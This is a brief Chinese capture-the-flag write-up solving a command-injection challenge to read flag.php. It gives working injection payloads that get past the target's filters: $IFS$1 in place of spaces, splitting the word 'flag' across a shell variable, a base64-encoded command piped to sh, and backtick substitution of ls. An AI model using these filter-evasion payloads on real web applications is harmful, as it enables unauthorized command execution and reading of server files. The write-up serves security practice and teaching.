打开靶机

结合题目名称,考虑是命令注入,试试ls
结果应该就在flag.php。尝试构造命令注入载荷。 cat flag.php

可以看到过滤了空格,用 IFS1替换空格
还过滤了flag,我们用字符拼接的方式看能否绕过,a=g;catIFS1fla$a.php。注意这里用分号间隔,所以不能用管道符连接了。

可以看到flag了。这里有个坑,这段是纯php代码,所以在页面上没有显示出来,要注意观察界面的源码。
其实可以先看一下index.php
基本上可以看到过滤了哪些内容。所以还可以用base64编码绕过过滤
echoIFS1Y2F0IGZsYWcucGhw|base64IFS1-d|sh

既然ls能把flag找出来, 则还可以利用内联的方式获取flag catIFS1`ls`
放一个命令注入的介绍:命令注入以及常见绕过方式_命令注入如何绕过空色-CSDN博客